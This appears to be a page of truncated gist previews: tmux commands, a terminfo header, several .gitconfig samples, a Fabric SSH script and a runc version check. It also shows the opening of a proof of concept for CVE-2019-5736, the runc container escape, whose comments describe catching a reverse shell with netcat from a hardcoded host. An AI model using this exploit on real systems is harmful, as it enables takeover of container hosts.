start new:
tmux
start new with session name:
tmux new -s myname
| # A xterm-256color based TERMINFO that adds the escape sequences for italic. | |
| # | |
| # Install: | |
| # | |
| # tic xterm-256color-italic.terminfo | |
| # | |
| # Usage: | |
| # | |
| # export TERM=xterm-256color-italic | |
| # |
| [user] | |
| # name = Your Name ### Your name, obviously. Not mine. | |
| # email = your.name@example.com | |
| [core] | |
| # editor = mate -w ### Use whatever you like. | |
| excludesfile = ~/.gitignore ### Global ignore file for .DS_Store files etc | |
| pager = less -+FRSX -FRX ### Make "git diff" nicer to browse | |
| [color] | |
| ui = auto ### Make things show up in color | |
| [log] |
| # Put this in your ~/.gitconfig or ~/.config/git/config | |
| # Windows users: "~" is your profile's home directory, e.g. C:\Users\<YourName> | |
| [user] | |
| name = Your Full Name | |
| email = your@email.tld | |
| [color] | |
| # Enable colors in color-supporting terminals | |
| ui = auto | |
| [alias] | |
| st = status |
| # -*- Conf -*- | |
| [color] | |
| branch = auto | |
| diff = auto | |
| status = auto | |
| showbranch = auto | |
| ui = true | |
| # color.branch | |
| # A boolean to enable/disable color in the output of git-branch(1). May be set to always, false (or |
| #!/bin/python3 | |
| # Silly PoC for CVE-2019-5736 in Python by @singe (with help from @_staaldraad, @frichette_n & @_cablethief) | |
| # Target will need a python3 interpreter | |
| # Edit IP info below, on the host run a netcat to catch the reverse shell | |
| # Run this python file in the container | |
| # Then from the host: docker exec -i <container name> /tmp/evil | |
| import os | |
| import stat | |
| host='172.17.0.1' |
| #!/usr/bin/env python | |
| import os | |
| from fabric import Connection | |
| # kubectl get nodes | grep ip | cut -d'-' -f2,3,4,5 | cut -d'.' -f1 | sed 's/-/./g' | xargs echo | sed s'/ /",\"/g' | |
| def getConnection(host): | |
| return Connection(host=host, | |
| user='admin', | |
| connect_kwargs={ |
| root@strigazi-kubeadm-cluster-02:/home/ubuntu# strings /usr/bin/docker-runc | tail -n5 | |
| .debug_str | |
| .debug_loc | |
| .debug_pubtypes | |
| .debug_ranges | |
| .debug_gdb_scripts | |
| root@strigazi-kubeadm-cluster-02:/home/ubuntu# sha256sum /usr/bin/docker-runc | |
| 6cd5b2d83cfe84fc59947cf4a17898ebfd03d61e13ce0dc179be787b77104a3a /usr/bin/docker-runc | |
| root@strigazi-kubeadm-cluster-02:/home/ubuntu# /usr/bin/docker-runc --version | |
| runc version 1.0.0-rc5+dev |